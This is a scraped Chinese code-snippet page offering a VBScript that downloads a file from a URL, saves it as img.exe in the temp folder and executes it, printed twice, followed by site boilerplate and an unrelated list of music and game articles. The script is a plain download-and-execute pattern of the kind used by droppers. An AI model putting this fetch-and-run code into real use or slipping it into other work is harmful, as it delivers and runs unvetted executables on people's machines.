圆月山庄资源网 Design By www.vgjia.com
复制代码 代码如下:
'on error resume next
dl = https://www.jb51.net/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '缓存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1
'on error resume next
dl = https://www.jb51.net/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '缓存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1
标签:
下载文件到本地运行的vbs
圆月山庄资源网 Design By www.vgjia.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
圆月山庄资源网 Design By www.vgjia.com
暂无评论...
更新日志
2024年11月01日
2024年11月01日
- 群星.2023-非凡医者影视原声带【华纳】【FLAC分轨】
- 《寻找弗兰基》全成就一览
- 《传说法师2》EA评测:不是亲生的不心疼
- 《射戮骑士》评测:“幸存者!去杀穿硬核地狱!”
- 群星《名声(黑胶CD)》[WAV+CUE]
- 梅艳芳《女人花》SACD[原抓WAV+CUE]
- 孙露《因为想念》【WAV+CUE】
- 罗艺恒《What Could've Been》[FLAC/分轨][130.04MB]
- 罗熙楷《笼中鸟Caged Bird》[320K/MP3][72.27MB]
- 罗熙楷《笼中鸟Caged Bird》[FLAC/分轨][191.82MB]
- 英雄联盟s14晋级四强队伍是哪些 S14全球总决赛四强战队介绍
- 魔兽世界怀旧服专家模式什么时候开 怀旧服专家模式开启时间介绍
- 魔兽世界永久60级哪个职业最强 魔兽世界永久60级职业推荐
- 上海Major赛事专属版显示器首次亮相PNL高校决赛
- 寻找中国“龙” 感受乐元素的“科普力”